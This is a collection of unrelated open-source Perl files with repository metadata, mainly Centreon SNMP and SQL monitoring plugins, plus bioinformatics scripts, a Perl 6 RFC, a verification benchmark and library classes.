__PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; $options{options}->add_options(arguments => { "threshold-overload:s@" => { name => 'threshold_overload' }, }); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::init(%options); $self->{overload_th} = {}; foreach my $val (@{$self->{option_results}->{threshold_overload}}) { if ($val !~ /^(.*?),(.*?),(.*)$/) { $self->{output}->add_option_msg(short_msg => "Wrong threshold-overload option '" . $val . "'."); $self->{output}->option_exit(); } my ($section, $status, $filter) = ($1, $2, $3); if ($self->{output}->is_litteral_status(status => $status) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong threshold-overload status '" . $val . "'."); $self->{output}->option_exit(); } $self->{overload_th}->{$section} = [] if (!defined($self->{overload_th}->{$section})); push @{$self->{overload_th}->{$section}}, {filter => $filter, status => $status}; } } sub run { my ($self, %options) = @_; $self->{snmp} = $options{snmp}; # Seems to have a bug to get '.0' my $oid_pbxState = '.1.3.6.1.4.1.637.64.4400.1.2.0'; my $oid_pbxState_buggy = '.1.3.6.1.4.1.637.64.4400.1.2'; my $result = $self->{snmp}->get_leef(oids => [$oid_pbxState, $oid_pbxState_buggy], nothing_quit => 1); my $pbx_state = defined($result->{$oid_pbxState}) ? $map_state{$result->{$oid_pbxState}} : $map_state{$result->{$oid_pbxState_buggy}}; my $exit = $self->get_severity(section => 'state', value => $pbx_state); $self->{output}->output_add(severity => $exit, short_msg => sprintf("PBX State is '%s'", $pbx_state)); $self->{output}->display(); $self->{output}->exit(); } sub get_severity { my ($self, %options) = @_; my $status = 'UNKNOWN'; # default if (defined($self->{overload_th}->{$options{section}})) { foreach (@{$self->{overload_th}->{$options{section}}}) { if ($options{value} =~ /$_->{filter}/i) { $status = $_->{status}; return $status; } } } foreach (@{$thresholds->{$options{section}}}) { if ($options{value} =~ /$$_[0]/i) { $status = $$_[1]; return $status; } } return $status; } 1; __END__ =head1 MODE Check PBX State. =over 8 =item B<--threshold-overload> Set to overload default threshold values (syntax: section,status,regexp) It used before default thresholds (order stays). Example: --threshold-overload='state,CRITICAL,^(?!(normal)$)' =back =cut
wilfriedcomte/centreon-plugins
network/alcatel/oxe/snmp/mode/pbxstate.pm
Perl
apache-2.0
4,198
use strict; use warnings; use FileHandle; my $dir = '/hps/nobackup2/production/ensembl/anja/release_96/human/ancestral_alleles/input/'; my $vf_file = '/hps/nobackup2/production/ensembl/anja/release_96/human/ancestral_alleles/variation_features_96.txt'; my $count = 10_000_000; my $file_count = 1; my $i = 0; my $fh = FileHandle->new($vf_file, 'r'); my $fh_write = FileHandle->new("$dir/$file_count.txt", 'w'); while (<$fh>) { if ($i < $count) { print $fh_write $_; $i++; } else { $fh_write->close; $file_count++; $fh_write = FileHandle->new("$dir/$file_count.txt", 'w'); print $fh_write $_; $i = 1; } } $fh_write->close; $fh->close;
at7/work
utils/ancestral_alleles/split_variation_features.pl
Perl
apache-2.0
679
=head1 TITLE Object Class hooks into C<printf> =head1 VERSION Maintainer: Mark Biggar <mark.biggar@TrustedSysLabs.com> Date: 30 Aug 2000 Mailing List: perl6-language-io@perl.org Number: 180 Version: 1 Status: Developing =head1 ABSTRACT There needs to be a way for an object class to define C<printf> format specifiers for use in formatting objects into strings with C<printf> and C<sprintf>. =head1 DESCRIPTION It would be nice to be able to do things like: use BigInt ':constant'; printf "%53d",(3**34); and get a nicely formatted output. This could also simplify other proposals like RFC 48 where instead of cluttering up the proposed C<date> and C<gmtdate> operators with C<POSIX strftime()> functionality, it could be done using C<printf> instead. =head1 IMPLEMENTATION I have thought of two possible implementations: 1) When ever a blessed object reference appears in a C<printf> argument list the internal C<printf> code invokes the objects C<STRING> method (see RFC 49) with an extra argument consisting of the printf format specifier (in the above example the extra argument would be "%53d". The C<STRING> method would return either a properly formatted string scalar which would be incorporated in the output string being constructed by C<printf> or C<undef>, if the C<STRING> method does not understand the specifier, which should probably cause an exception to be thrown. 2) When ever a blessed object reference appears in s C<printf> argument list the internal C<printf> code attempts to invoke the objects C<PRINTF_spec> method with an extra argument consisting of the inside of the C<printf> specifier (in the above example anon-ref->PRINTF_d("53") would be invoked. If the method exists then it returns a properly formatted string scalar or C<undef> if it can not interpreted the specifier argument. If either C<undef> is returned or there is no such method then a exception is thrown. =head1 REFERENCES RFC 49 Objects should have builtin stringifying STRING method RFC 48 Replace localtime() and gmtime() with date() and gmtdate()
autarch/perlweb
docs/dev/perl6/rfc/180.pod
Perl
apache-2.0
2,091
false :- main_verifier_error. ackermann__1(A,B) :- true. ackermann__3(A,B) :- 1*B=0, ackermann__1(A,B). ackermann__5(A,B) :- -1*B>0, ackermann__1(A,B). ackermann__5(A,B) :- 1*B>0, ackermann__1(A,B). ackermann___0(A,B,C) :- 1*A+ -1*B=1, 1*C=0, ackermann__3(B,C). ackermann__8(A,B) :- 1*A=0, ackermann__5(A,B). ackermann__10(A,B) :- -1*A>0, ackermann__5(A,B). ackermann__10(A,B) :- 1*A>0, ackermann__5(A,B). ackermann___0(A,B,C) :- 1*A>=2, 1*B=0, 1*D=1, 1*E=0, 1*F=0, 1*G=1, ackermann__8(B,C), ackermann(D,E,F,H,G,A). ackermann___0(A,B,C) :- -1*B+1*K>=0, 1*A+ -1*K>=1, 1*D=1, 1*E=0, 1*F=0, 1*B+ -1*G=1, 1*H=1, 1*I=0, 1*J=0, ackermann__10(B,C), ackermann(D,E,F,C,G,K), ackermann(H,I,J,L,K,A). ackermann__split(A,B,C) :- 1*A+ -1*B>=1, ackermann___0(A,B,C). ackermann(A,B,C,D,E,F) :- -1*E+1*F>=1, 1*A=1, 1*B=0, 1*C=0, ackermann__split(F,E,D). main_entry :- true. main__un :- 1*E+ -1*F>=1, -1*E>= -3, 1*D>=2, 1*A=1, 1*B=0, 1*C=0, main_entry, ackermann(A,B,C,D,F,E). main_verifier_error :- main__un.
bishoksan/RAHFT
benchmarks_scp/SVCOMP15/svcomp15-clp-specialised/Ackermann02_false-unreach-call_false-termination.c.pl.pe.pl
Perl
apache-2.0
1,156
# # Copyright 2019 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package storage::hp::3par::ssh::plugin; use strict; use warnings; use base qw(centreon::plugins::script_custom); sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; %{$self->{modes}} = ( 'components' => 'storage::hp::3par::ssh::mode::hardware', 'disk-usage' => 'storage::hp::3par::ssh::mode::diskusage', 'volume-usage' => 'storage::hp::3par::ssh::mode::volumeusage', ); $self->{custom_modes}{ssh} = 'storage::hp::3par::ssh::custom::custom'; return $self; } 1; __END__ =head1 PLUGIN DESCRIPTION Check HP 3par in SSH. =cut
Sims24/centreon-plugins
storage/hp/3par/ssh/plugin.pm
Perl
apache-2.0
1,448
## ## This file was generated by Google::ProtocolBuffers (0.08) ## on Fri Apr 10 13:57:35 2015 ## use strict; use warnings; use Google::ProtocolBuffers; { unless (ACPEncrypt->can('_pb_fields_list')) { Google::ProtocolBuffers->create_message( 'ACPEncrypt', [ [ Google::ProtocolBuffers::Constants::LABEL_REQUIRED(), Google::ProtocolBuffers::Constants::TYPE_STRING(), 'algorithm', 1, undef ], [ Google::ProtocolBuffers::Constants::LABEL_REQUIRED(), Google::ProtocolBuffers::Constants::TYPE_FIXED64(), 'seqno', 2, undef ], [ Google::ProtocolBuffers::Constants::LABEL_REQUIRED(), Google::ProtocolBuffers::Constants::TYPE_BYTES(), 'nonce', 3, undef ], [ Google::ProtocolBuffers::Constants::LABEL_REQUIRED(), Google::ProtocolBuffers::Constants::TYPE_BYTES(), 'hmac', 4, undef ], [ Google::ProtocolBuffers::Constants::LABEL_REQUIRED(), Google::ProtocolBuffers::Constants::TYPE_INT32(), 'length', 5, undef ], [ Google::ProtocolBuffers::Constants::LABEL_REQUIRED(), Google::ProtocolBuffers::Constants::TYPE_BYTES(), 'ciphertext', 50, undef ], ], { 'create_accessors' => 1, 'follow_best_practice' => 1, } ); } } 1;
SolveMedia/furryblue
lib/AC/FurryBlue/proto/y2db_crypto.pl
Perl
apache-2.0
1,756
package Search::Elasticsearch::Role::Cxn::Async; use Moo::Role; use Search::Elasticsearch::Util qw(new_error); use namespace::clean; #=================================== sub pings_ok { #=================================== my $self = shift; $self->logger->infof( 'Pinging [%s]', $self->stringify ); $self->perform_request( { method => 'HEAD', path => '/', timeout => $self->ping_timeout, } )->then( sub { $self->logger->infof( 'Marking [%s] as live', $self->stringify ); $self->mark_live; }, sub { $self->logger->debug(@_); $self->mark_dead; die(@_); } ); } #=================================== sub sniff { #=================================== my $self = shift; $self->logger->infof( 'Sniffing [%s]', $self->stringify ); $self->perform_request( { method => 'GET', path => '/_nodes/http', qs => { timeout => $self->sniff_timeout . 's' }, timeout => $self->sniff_request_timeout, } )->then( sub { ( $self, $_[1]->{nodes} ) }, sub { $self->mark_dead; $self->logger->debug(@_); ($self); } ); } 1; # ABSTRACT: Provides common functionality to async Cxn implementations =head1 DESCRIPTION L<Search::Elasticsearch::Role::Cxn::Async> provides common functionality to the async Cxn implementations. Cxn instances are created by a L<Search::Elasticsearch::Role::CxnPool> implementation, using the L<Search::Elasticsearch::Cxn::Factory> class. =head1 CONFIGURATION See L<Search::Elasticsearch::Role::Cxn> for configuration options. =head1 METHODS None of the methods listed below are useful to the user. They are documented for those who are writing alternative implementations only. =head2 C<pings_ok()> $promise = $cxn->pings_ok Try to ping the node and call L</mark_live()> or L</mark_dead()> depending on the success or failure of the ping. =head2 C<sniff()> $cxn->sniff ->then( sub { my ($cxn,$nodes) = @_; ... }, sub { my $cxn = shift; ... } ) Send a sniff request to the node and return the response.
adjust/elasticsearch-perl
lib/Search/Elasticsearch/Role/Cxn/Async.pm
Perl
apache-2.0
2,283
#!/usr/bin/env perl use strict; use warnings; use ReseqTrack::Tools::ERAUtils; use autodie; use JSON; use Getopt::Long; use Data::Dumper; my $era_user; my $era_pass; my $production_dir; GetOptions( "era_user=s" => \$era_user, "era_pass=s" => \$era_pass, "json_dir=s" => \$production_dir, ); die `perldoc -t $0` if !$era_user || !$era_pass || !$production_dir; my @era_conn = ( $era_user, $era_pass ); my $era = get_erapro_conn(@era_conn); $era->dbc->db_handle->{LongReadLen} = 66000; my $epirr_file_list = get_file_list( $production_dir ); my $epirr_hash = prepare_epirr_id_mapping( $epirr_file_list ); prepare_index( $epirr_hash, $era ); sub prepare_index{ my ( $epirr_hash, $xml_sth ) = @_; my @header = qw/ EPIRR_ID DESCRIPTION STATUS DONOR_ID TISSUE_TYPE CELL_TYPE DISEASE SAMPLE_IDS ENA_EXPERIMENT_IDS EGA_EXPERIMENT_IDS EGA_DATASET_IDS /; print join ( "\t", @header ),$/; foreach my $epirr_id ( keys %{$epirr_hash} ){ my $description = $$epirr_hash{ $epirr_id }{DESCRIPTION}; my $status = $$epirr_hash{ $epirr_id }{STATUS} ? $$epirr_hash{ $epirr_id }{STATUS} : 'NA'; my $donor_id = $$epirr_hash{ $epirr_id }{DONOR_ID} ? $$epirr_hash{ $epirr_id }{DONOR_ID} : 'NA'; my $disease = $$epirr_hash{ $epirr_id }{DISEASE} ? $$epirr_hash{ $epirr_id }{DISEASE} : 'NA'; my $cell_type = $$epirr_hash{ $epirr_id }{CELL_TYPE} ? $$epirr_hash{ $epirr_id }{CELL_TYPE} : 'NA'; my $tissue_type = $$epirr_hash{ $epirr_id }{TISSUE_TYPE} ? $$epirr_hash{ $epirr_id }{TISSUE_TYPE} : 'NA'; my @line_arr = ($epirr_id, $description, $status, $donor_id, $tissue_type, $cell_type, $disease); my @sample_arr; my @ena_exp_arr; my @ega_exp_arr; foreach my $primary_id ( @{$$epirr_hash{ $epirr_id }{RAW_DATA}} ){ my ( $experiment_id, $ega_id, $sample_id ); $primary_id =~ /^EGA/ ? $ega_id = $primary_id : $experiment_id = $primary_id; $experiment_id = get_ena_id( $ega_id, $era ) if ( $ega_id && !$experiment_id ); $sample_id = get_sample_id( $experiment_id, $era ); $ega_id = undef if !$ega_id; push @ena_exp_arr, $experiment_id; push ( @ega_exp_arr, $ega_id ) if $ega_id; push @sample_arr, $sample_id; } my $sample_list = join ( ";", @sample_arr); my $ena_exp_list = join ( ";", @ena_exp_arr ); my $ega_exp_list; if ( @ega_exp_arr ){ $ega_exp_list = join ( ";", @ega_exp_arr ) if @ega_exp_arr; } else { $ega_exp_list = ''; } my $ega_dataset_list; if ( exists ( $$epirr_hash{ $epirr_id }{ SECONDARY_DATA })){ $ega_dataset_list = join ( ";", @{$$epirr_hash{ $epirr_id }{ SECONDARY_DATA }} ); } else { $ega_dataset_list = ''; } push @line_arr, $sample_list, $ena_exp_list, $ega_exp_list, $ega_dataset_list; print join ( "\t", @line_arr ),$/; } } sub get_file_list { my ( $old_epirr_dir ) = @_; my @file_list; opendir ( my $dh, $old_epirr_dir ); while ( readdir $dh ) { my $file_path = $old_epirr_dir.'/'. $_; push @file_list, $file_path if $file_path =~ /\S+\.refepi\.out\.json$/; } closedir $dh; return \@file_list; } sub prepare_epirr_id_mapping { my ( $epirr_file_list ) = @_; my %full_epirr_hash; foreach my $file ( @$epirr_file_list ) { my ( $epirr_id_hash ) = get_ega_ids( $file ); foreach my $experiment_id ( keys %{$epirr_id_hash} ) { die if exists $full_epirr_hash{ $experiment_id }; $full_epirr_hash{ $experiment_id } = $$epirr_id_hash{ $experiment_id }; } } return \%full_epirr_hash; } sub get_ega_ids { my ( $file ) = @_; my %epirr_id_hash; open my $fh, '<', $file; my $json = do{ local $/; <$fh> }; close( $fh ); my $data = decode_json( $json ); my $epirr_id = $$data{ accession }; my $description = $$data{ description }; my $status = $$data{ status }; my $donor_id = $$data{ meta_data }{ donor_id }; my $tissue_type = $$data{ meta_data }{ tissue_type }; my $cell_type = $$data{ meta_data }{ cell_type }; my $disease = $$data{ meta_data }{ disease }; $epirr_id_hash{$epirr_id}{DESCRIPTION} = $description; $epirr_id_hash{$epirr_id}{STATUS} = $status; $epirr_id_hash{$epirr_id}{DONOR_ID} = $donor_id; $epirr_id_hash{$epirr_id}{TISSUE_TYPE} = $tissue_type; $epirr_id_hash{$epirr_id}{CELL_TYPE} = $cell_type; $epirr_id_hash{$epirr_id}{DISEASE} = $disease; my @raw_data_id_list; foreach my $raw_data( @{$$data{raw_data}} ){ my $raw_data_id = $$raw_data{primary_id}; my $secondary_data = $$raw_data{secondary_id} ? $$raw_data{secondary_id} : undef; push @{$epirr_id_hash{$epirr_id}{RAW_DATA}},$raw_data_id; push @{$epirr_id_hash{$epirr_id}{SECONDARY_DATA}},$secondary_data if $secondary_data; } return \%epirr_id_hash; } sub get_ena_id { my ( $ega_id, $era ) = @_; my $xml_sth = $era->dbc->prepare( "select e.experiment_id,e.ega_id from experiment e where e.ega_id = ?" ); $xml_sth->execute( $ega_id ); my $exp_id; while ( my $xr = $xml_sth->fetchrow_arrayref()){ $exp_id = $$xr[0]; my $ega_id_test = $$xr[1]; die unless $ega_id_test eq $ega_id; } return $exp_id; } sub get_sample_id { my ( $exp_id, $era ) = @_; my $xml_sth = $era->dbc->prepare( "select e.experiment_id, ex.sample_name from experiment e, xmltable( '/EXPERIMENT_SET/EXPERIMENT' passing e.experiment_xml columns sample_name varchar2(512) PATH '//DESIGN/SAMPLE_DESCRIPTOR/IDENTIFIERS//SUBMITTER_ID' ) ex where e.experiment_id = ?" ); $xml_sth->execute( $exp_id ); my $sample_name; while ( my $xr = $xml_sth->fetchrow_arrayref()){ my $exp = $$xr[0]; $sample_name = $$xr[1]; die unless $exp eq $exp_id; } return $sample_name; } =head1 EpiRR index file generation script =head2 Usage: perl create_epirr_index.pl -era_user <era username> -era_pass <era_pass> -json_dir <EpiRR json output dir> =cut
EMBL-EBI-GCA/bp_project
scripts/index/create_epirr_index.pl
Perl
apache-2.0
6,223
package VMOMI::VirtualMachineUsageOnDatastore; use parent 'VMOMI::DynamicData'; use strict; use warnings; our @class_ancestors = ( 'DynamicData', ); our @class_members = ( ['datastore', 'ManagedObjectReference', 0, ], ['committed', undef, 0, ], ['uncommitted', undef, 0, ], ['unshared', undef, 0, ], ); sub get_class_ancestors { return @class_ancestors; } sub get_class_members { my $class = shift; my @super_members = $class->SUPER::get_class_members(); return (@super_members, @class_members); } 1;
stumpr/p5-vmomi
lib/VMOMI/VirtualMachineUsageOnDatastore.pm
Perl
apache-2.0
545
# # Copyright 2018 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::citrix::sdx::snmp::plugin; use strict; use warnings; use base qw(centreon::plugins::script_snmp); sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; %{$self->{modes}} = ( 'disk-usage' => 'network::citrix::sdx::snmp::mode::diskusage', 'hardware' => 'network::citrix::sdx::snmp::mode::hardware', 'sr-usage' => 'network::citrix::sdx::snmp::mode::srusage', 'xen-usage' => 'network::citrix::sdx::snmp::mode::xenusage', ); return $self; } 1; __END__ =head1 PLUGIN DESCRIPTION Check Citrix SDX in SNMP. =cut
wilfriedcomte/centreon-plugins
network/citrix/sdx/snmp/plugin.pm
Perl
apache-2.0
1,564
# # Copyright 2015 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::juniper::common::ive::mode::users; use base qw(centreon::plugins::mode); use strict; use warnings; sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $self->{version} = '1.0'; $options{options}->add_options(arguments => { "warning-web:s" => { name => 'warning_web' }, "critical-web:s" => { name => 'critical_web' }, "warning-meeting:s" => { name => 'warning_meeting' }, "critical-meeting:s" => { name => 'critical_meeting' }, "warning-node:s" => { name => 'warning_node' }, "critical-node:s" => { name => 'critical_node' }, "warning-cluster:s" => { name => 'warning_cluster' }, "critical-cluster:s" => { name => 'critical_cluster' }, }); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::init(%options); if (($self->{perfdata}->threshold_validate(label => 'warning_web', value => $self->{option_results}->{warning_web})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong warning web threshold '" . $self->{option_results}->{warning_web} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'critical_web', value => $self->{option_results}->{critical_web})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong critical web threshold '" . $self->{option_results}->{critical_web} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'warning_meeting', value => $self->{option_results}->{warning_meeting})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong warning meeting threshold '" . $self->{option_results}->{warning_meeting} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'critical_meeting', value => $self->{option_results}->{critical_meeting})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong critical meeting threshold '" . $self->{option_results}->{critical_meeting} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'warning_node', value => $self->{option_results}->{warning_node})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong warning node threshold '" . $self->{option_results}->{warning_node} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'critical_node', value => $self->{option_results}->{critical_node})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong critical node threshold '" . $self->{option_results}->{critical_node} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'warning_cluster', value => $self->{option_results}->{warning_cluster})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong warning cluster threshold '" . $self->{option_results}->{warning_cluster} . "'."); $self->{output}->option_exit(); } if (($self->{perfdata}->threshold_validate(label => 'critical_cluster', value => $self->{option_results}->{critical_cluster})) == 0) { $self->{output}->add_option_msg(short_msg => "Wrong critical cluster threshold '" . $self->{option_results}->{critical_cluster} . "'."); $self->{output}->option_exit(); } } sub run { my ($self, %options) = @_; # $options{snmp} = snmp object $self->{snmp} = $options{snmp}; my $oid_signedInWebUsers = '.1.3.6.1.4.1.12532.2.0'; my $oid_meetingUserCount = '.1.3.6.1.4.1.12532.9.0'; my $oid_iveConcurrentUsers = '.1.3.6.1.4.1.12532.12.0'; my $oid_clusterConcurrentUsers = '.1.3.6.1.4.1.12532.13.0'; my $result = $self->{snmp}->get_leef(oids => [$oid_signedInWebUsers, $oid_meetingUserCount, $oid_iveConcurrentUsers, $oid_clusterConcurrentUsers], nothing_quit => 1); my $exit1 = $self->{perfdata}->threshold_check(value => $result->{$oid_signedInWebUsers}, threshold => [ { label => 'critical_web', 'exit_litteral' => 'critical' }, { label => 'warning_web', exit_litteral => 'warning' } ]); my $exit2 = $self->{perfdata}->threshold_check(value => $result->{$oid_meetingUserCount}, threshold => [ { label => 'critical_meeting', 'exit_litteral' => 'critical' }, { label => 'warning_meeting', exit_litteral => 'warning' } ]); my $exit3 = $self->{perfdata}->threshold_check(value => $result->{$oid_iveConcurrentUsers}, threshold => [ { label => 'critical_node', 'exit_litteral' => 'critical' }, { label => 'warning_node', exit_litteral => 'warning' } ]); my $exit4 = $self->{perfdata}->threshold_check(value => $result->{$oid_clusterConcurrentUsers}, threshold => [ { label => 'critical_cluster', 'exit_litteral' => 'critical' }, { label => 'warning_cluster', exit_litteral => 'warning' } ]); $self->{output}->output_add(severity => $exit1, short_msg => sprintf("Current concurrent signed-in web users connections: %d", $result->{$oid_signedInWebUsers})); $self->{output}->output_add(severity => $exit2, short_msg => sprintf("Current concurrent meeting users connections: %s", defined($result->{$oid_meetingUserCount}) ? $result->{$oid_meetingUserCount} : 'unknown')); $self->{output}->output_add(severity => $exit3, short_msg => sprintf("Current concurrent node logged users connections: %d", $result->{$oid_iveConcurrentUsers})); $self->{output}->output_add(severity => $exit4, short_msg => sprintf("Current concurrent cluster logged users connections: %d", $result->{$oid_clusterConcurrentUsers})); $self->{output}->perfdata_add(label => "web", value => $result->{$oid_signedInWebUsers}, warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_web'), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_web'), min => 0); $self->{output}->perfdata_add(label => "meeting", value => $result->{$oid_meetingUserCount}, warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_meeting'), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_meeting'), min => 0); $self->{output}->perfdata_add(label => "node", value => $result->{$oid_iveConcurrentUsers}, warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_node'), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_node'), min => 0); $self->{output}->perfdata_add(label => "cluster", value => $result->{$oid_clusterConcurrentUsers}, warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning_cluster'), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical_cluster'), min => 0); $self->{output}->display(); $self->{output}->exit(); } 1; __END__ =head1 MODE Check users connections (web users, cluster users, node users, meeting users) (JUNIPER-IVE-MIB). =over 8 =item B<--warning-web> Threshold warning for users connected and uses the web feature. =item B<--critical-web> Threshold critical for users connected and uses the web feature. =item B<--warning-meeting> Threshold warning for secure meeting users connected. =item B<--critical-meeting> Threshold critical for secure meeting users connected. =item B<--warning-node> Threshold warning for users in this node that are logged in. =item B<--critical-node> Threshold critical for users in this node that are logged in. =item B<--warning-cluster> Threshold warning for users in this cluster that are logged in. =item B<--critical-cluster> Threshold critical for users in this cluster that are logged in. =back =cut
s-duret/centreon-plugins
network/juniper/common/ive/mode/users.pm
Perl
apache-2.0
9,985
# # Copyright 2022 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package database::mysql::mode::threadsconnected; use base qw(centreon::plugins::templates::counter); use strict; use warnings; sub custom_usage_output { my ($self, %options) = @_; return sprintf( 'Client connected threads total: %s used: %s (%.2f%%) free: %s (%.2f%%)', $self->{result_values}->{total}, $self->{result_values}->{used}, $self->{result_values}->{prct_used}, $self->{result_values}->{free}, $self->{result_values}->{prct_free} ); } sub prefix_databse_output { my ($self, %options) = @_; return "Database '" . $options{instance_value}->{name} . "' "; } sub set_counters { my ($self, %options) = @_; $self->{maps_counters_type} = [ { name => 'global', type => 0, message_separator => ' - ', skipped_code => { -10 => 1 } }, { name => 'databases', type => 1, cb_prefix_output => 'prefix_database_output', skipped_code => { -10 => 1 } } ]; $self->{maps_counters}->{global} = [ { label => 'usage', nlabel => 'threads.connected.count', set => { key_values => [ { name => 'used' }, { name => 'free' }, { name => 'prct_used' }, { name => 'prct_free' }, { name => 'total' } ], closure_custom_output => $self->can('custom_usage_output'), perfdatas => [ { template => '%d', min => 0, max => 'total' }, ] } }, { label => 'usage-prct', nlabel => 'threads.connected.percentage', display_ok => 0, set => { key_values => [ { name => 'prct_used' }, { name => 'free' }, { name => 'used' }, { name => 'prct_free' }, { name => 'total' } ], closure_custom_output => $self->can('custom_usage_output'), perfdatas => [ { template => '%.2f', min => 0, max => 100, unit => '%' } ] } } ]; $self->{maps_counters}->{databases} = [ { label => 'database-threads-connected', nlabel => 'database.threads.connected.count', display_ok => 0, set => { key_values => [ { name => 'threads_connected' } ], output_template => 'threads connected: %s', perfdatas => [ { template => '%d', min => 0, label_extra_instance => 1 } ] } } ]; } sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options, force_new_perfdata => 1); bless $self, $class; $options{options}->add_options(arguments => { 'add-databases' => { name => 'add_databases' } }); return $self; } sub add_databases { my ($self, %options) = @_; $options{sql}->query(query => q{ SELECT schema_name, SUM(case when DB is not null then 1 else 0 end) as numbers FROM information_schema.schemata LEFT JOIN information_schema.processlist ON schemata.schema_name = DB GROUP BY schemata.schema_name }); $self->{databases} = {}; my $result = $options{sql}->fetchall_arrayref(); foreach my $row (@$result) { $self->{databases}->{ $row->[0] } = { name => $row->[0], threads_connected => $row->[1] }; } } sub manage_selection { my ($self, %options) = @_; $options{sql}->connect(); if (!($options{sql}->is_version_minimum(version => '5'))) { $self->{output}->add_option_msg(short_msg => "MySQL version '" . $self->{sql}->{version} . "' is not supported (need version >= '5.x')."); $self->{output}->option_exit(); } my $infos = {}; if (!$options{sql}->is_mariadb() && $options{sql}->is_version_minimum(version => '5.7.6')) { $options{sql}->query(query => q{ SELECT 'max_connections' as name, @@GLOBAL.max_connections as value UNION SELECT VARIABLE_NAME as name, VARIABLE_VALUE as value FROM performance_schema.global_status WHERE VARIABLE_NAME = 'Threads_connected' }); while (my ($name, $value) = $options{sql}->fetchrow_array()) { $infos->{lc($name)} = $value; } } elsif ($options{sql}->is_version_minimum(version => '5.1.12')) { $options{sql}->query(query => q{ SELECT 'max_connections' as name, @@GLOBAL.max_connections as value UNION SELECT VARIABLE_NAME as name, VARIABLE_VALUE as value FROM information_schema.GLOBAL_STATUS WHERE VARIABLE_NAME = 'Threads_connected' }); while (my ($name, $value) = $options{sql}->fetchrow_array()) { $infos->{lc($name)} = $value; } } else { $options{sql}->query(query => q{SELECT 'max_connections' as name, @@GLOBAL.max_connections as value}); if (my ($name, $value) = $options{sql}->fetchrow_array()) { $infos->{lc($name)} = $value } $options{sql}->query(query => q{SHOW /*!50000 global */ STATUS LIKE 'Threads_connected'}); if (my ($name, $value) = $options{sql}->fetchrow_array()) { $infos->{lc($name)} = $value } } if (scalar(keys %$infos) == 0) { $self->{output}->add_option_msg(short_msg => 'Cannot get number of open connections.'); $self->{output}->option_exit(); } my $prct_used = $infos->{threads_connected} * 100 / $infos->{max_connections}; $self->{global} = { total => $infos->{max_connections}, used => $infos->{threads_connected}, free => $infos->{max_connections} - $infos->{threads_connected}, prct_used => $prct_used, prct_free => 100 - $prct_used }; if (defined($self->{option_results}->{add_databases})) { $self->add_databases(sql => $options{sql}); } } 1; __END__ =head1 MODE Check number of open connections. =over 8 =item B<--add-databases> Add threads by databases. =item B<--warning-*> B<--critical-*> Thresholds. Can be: 'usage', 'usage-prct' (%), 'database-threads-connected'. =back =cut
centreon/centreon-plugins
database/mysql/mode/threadsconnected.pm
Perl
apache-2.0
6,784
